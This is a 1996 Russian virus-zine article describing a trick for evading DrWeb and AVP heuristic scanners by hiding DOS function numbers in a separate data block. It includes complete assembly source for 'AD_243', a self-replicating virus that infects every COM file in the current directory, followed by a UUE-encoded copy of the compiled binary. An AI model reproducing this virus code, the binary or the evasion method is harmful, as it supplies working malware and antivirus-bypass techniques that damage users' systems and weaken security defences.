[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 1, September 1996 file 002
ЭРОТИЧЕСКИЕ АНАЛИЗАТОРЫ
by igor Dikshew
Вопрос о том, как заставить замолчать эвристические анализаторы кода
таких популярных антивирусных программ, как DrWeb и AVP, встает не только у
тех, кто пишет вирусы, но и у тех, кому нужно написать прогу на низком уровне
для работы с файлами. К последним можно отнести и разработчиков самопальных
антивирусов. Я тоже когда-то вставал перед такой проблемой. Шифрование тела
антивируса привело только к увеличению подозрений со стороны эвристиков и они
стали кричать не просто Type_COM_EXE, а еще и Crypt. Я в серьез задумался над
этим. Так неужели нет способа обойти анализаторы кода?... Есть! Да еще и не
один!
Для DrWeb и TBAV описаны универсальные алгоритмы обхода в журнале CHAOS.
Но эти алгоритмы довольно громоздки, да к тому же требуют шифрования того
кода, который вы желаете спрятать от ненасытных антивирусов. К тому же TBAV
используется для постоянной профилактики довольно редко в связи с тем, что
любит покричать на совершенно безобидные проги. А кроме DrWeb у нас широко
популярен антивирусный пакет AVP, имеющий довольно мощный эвристик.
Для обхода вот этих двух анализаторов кода я и решил найти самый легкий и
общедоступный путь. Он оказался куда проще, чем я думал. Достаточно засылать в
регистр AX номера функций в неявном виде и эвристики сразу успокаиваются. Что
значит в неявном виде? А это когда номера хранятся в отдельном блоке кода, и
выбираются по мере необходимости. К примеру:
mov ax, WriteFunc
mov cx, VIRLEN
mov dx, 100h
int 21h
Неправда ли, знакомые команды? ;) Так вот, если WriteFunc объявить как:
WriteFunc db 40h
и поместить в произвольное место в вирусе, то для антивирусов приведенный
выше код перестает быть подозрительным ;)))))))) Кроме того, такой функцией
может служить часть кода самого вируса... Так вместо WriteFunc можно
использовать адрес инкремента регистра AX:
0040h inc ax
Как же все это делается? Очень просто! Вы пишите свою прогу не взирая ни
на что, а вот когда она будет готова, перенесите функции в отдельный блок или
поищите в исполняемом коде байты, которые можно использовать в качестве
значений для регистра AX и вопрос решен! Причем совсем необязательно не только
криптовать тело вируса, но даже маску файлов. Ну а чтобы не быть голословным,
приведу пример простейшего COM-вируса, так как все кричат, что звери такого
класса уже не актуальны в связи с тем, что легко обнаруживаются эвристиками.
Это совершннейшая неправда! Вирусы типа Search запросто могут еще жить в новых
операционках, например в шмелике (OS/2).
=== Cut ===
;----------------------------------------------------------------------------
; Вирус AD_243
; Семейство Search
; Поражает все COM файлы в текущем каталоге
; Использует антиэвристический прием (c) -=* Red Arc *=-
; Абсолютно безвреден, хорошо лечится
;----------------------------------------------------------------------------
; (c) 1996 by I. Dikshew // [TAVC] // -=* Red Arc *=-
;----------------------------------------------------------------------------
Model tiny
.code
.286
org 100h
START:
jmp VIRUS ;Иммитируем зараженную прогу
nop
db 0adh ;Метка вируса - идентификатор зараженности
VIRUS:
pusha ;Сохранение регистров
push ds es cs
pop ds
jmp short BEGIN ;Переход на тело вируса
M_Ofs equ $-VIRUS ;Смещение маски файлов
FMASK db '*.com',0h ;Маска файлов (даже не криптованная)
B_Ofs equ $-VIRUS ;Смещение начальных байт программы
Byte4 db 0cdh, 20h, 90, 90 ;Начальные байты программы
;............................... Функции вируса
Set_Dta equ $-VIRUS
db 1ah ;Установить DTA
FFirst equ $-VIRUS
db 4eh ;Поиск первого файла
WriteF equ $-VIRUS
db 40h ;Запись в файл
FNext equ $-VIRUS
db 4fh ;Поиск следующего файла
SAttrFH equ $-VIRUS
db 43h ;Изменение атрибутов
CloseF equ $-VIRUS
db 3eh ;Закрытие файла
SAttrFL equ $-VIRUS
db 01h ;Подфункция
OpenH equ $-VIRUS
db 3dh ;Открыть файл
ReadF equ $-VIRUS
db 3fh ;Читать из файла
OpenL equ $-VIRUS
db 02h ;Подфункция
SetDF equ $-VIRUS
db 57h ;Изменение даты и времени файла
HanMov equ $-VIRUS
db 42h ;Смещение handle
BEGIN: ;Начало кода вируса
call My_Entry
BEG_LEN equ $-VIRUS
My_Entry:
pop bp
sub bp,BEG_LEN ;Определяем истинную точку входа
xchg si,di
push bp
pop si
add si,B_Ofs
movsw
movsw ;Восстанавливаем начальные байты программы
mov ah, byte ptr [bp+Set_Dta]
mov dx,bp
push dx
add dx,VIRLEN
push dx
int 21h ;Устанавливаем DTA в конец тела вируса
mov ah,byte ptr [bp+FFirst]
pop si
pop dx
add dx,M_Ofs
mov cx,0ffh ;Поиск первого файла по шаблону
FIND:
int 21h
jb Not_Found
call Plaque ;Нашли, тестируем
mov ah,byte ptr [bp+FNext]
jmp short FIND ;Поиск следующего файла по шаблону
Not_Found:
mov ah,byte ptr [bp+Set_Dta]
xor dx,dx
mov dl,80h
int 21h ;Переустанавливаем адрес DTA на программный
pop es ds
popa ;Восстанавливаем регистры
push si
ret ;Отдаем управление программе
Plaque:
mov dx,si
add dx,1eh ;Получаем в DX адрес имени файла из DTA
push dx
mov ah,byte ptr [bp+SAttrFH]
mov al,byte ptr [bp+SAttrFL]
xor cx,cx
int 21h ;Очищаем атрибуты файла
mov ah,byte ptr [bp+OpenH]
mov al,byte ptr [bp+OpenL]
int 21h ;Пытаемся открыть файл для чтения/записи
jb NextFind
xchg ax,bx ;Сохраняем в BX handle
mov ah,byte ptr [bp+ReadF]
push bp
pop dx
add dx,B_Ofs
xor cx,cx
mov cl,4
int 21h ;Читаем первые 4 байта файла
mov al, byte ptr [bp+B_Ofs+3]
cmp al,0adh ;Уже инфицирован?
jz Close_File
jmp short Infected
Close_File:
mov ah,byte ptr [bp+SetDF]
mov al,byte ptr [bp+SAttrFL]
mov dx,word ptr [si+18h]
mov cx,word ptr [si+16h]
int 21h ;Восстанавливаем дату и время файла из DTA
mov ah,byte ptr [bp+CloseF]
int 21h ;Закрываем файл
NextFind:
mov ah,byte ptr [bp+SAttrFH]
mov al,byte ptr [bp+SAttrFL]
pop dx
mov cx,word ptr [si+15h]
int 21h ;Восстанавливаем атрибуты файла из DTA
ret
infected: ;Инфицирование файла
cld
mov ah,byte ptr [bp+HanMov]
mov al,byte ptr [bp+OpenL]
xor cx,cx
push cx
push cx
pop dx
push dx
push bp
int 21h ;Двигаем handle в конец файла
push bp
pop dx
mov cx,VIRLEN
mov ah,byte ptr [bp+WriteF]
int 21h ;Записываем тело вируса
pop di
pop cx
pop dx
add di,B_Ofs
xor ax,ax
mov ah,byte ptr [bp+HanMov]
int 21h ;Двигаем handle в начало файла
mov byte ptr [di],0e9h ;Код внутрисегментного перехода
mov ax,word ptr [si+1ah]
sub ax,3
mov word ptr [di+1],ax ;Размер файла из DTA минус 3 байта перехода
mov byte ptr [di+3],0adh ;Метка - идентификатор зараженности
mov cl,4
xchg dx,di
mov ah,byte ptr [bp+WriteF]
int 21h ;Записываем 4 байта нового начала
jmp Close_File
VIRLEN equ $-VIRUS ;Длина тела вируса
END Start
=== Cut ===
Вот в принципе и все. Данный прием действителен для антивирусов до версий
включительно DrWeb 3.14 и AVP 2.2. Не надо только говорить, что вирь
примитивен. Я в данном разделе иллюстрировал идею, а не претендовал на
абсолютный вирус. А идею легче объяснить именно на "пальцах". Для тех, кто не
верит глазам своим, привожу вышеописанный пример в виде COM-файла.
=== Cut ===
section 1 of 1 of file ad_243.com -={ UUE 1.06, ARA (C) 1995 }=-
begin 644 ad_243.com 9-16-1996 2:48:8
MZP*0K6`>!@X?ZQ8J+F-O;0#-(%I:&DY`3T,^`3T_`E="Z```78/M((?W55Z#
MQ@VEI8IF$8O54H'"\P!2S2&*9A)>6H/"5S2%56KGS`(IF$\TA7UE:@\<-,\"*9AS-(<8%Z8M$
6&BT#`(E%`<9%`ZVQ!(?7BF83S2'KGH
`
end
sum -r/size 44656/387 section (from "begin" to "end")
sum -r/size 8977/247 entire input file
=== Cut ===
(c) by Igor Dikshew [TAVC]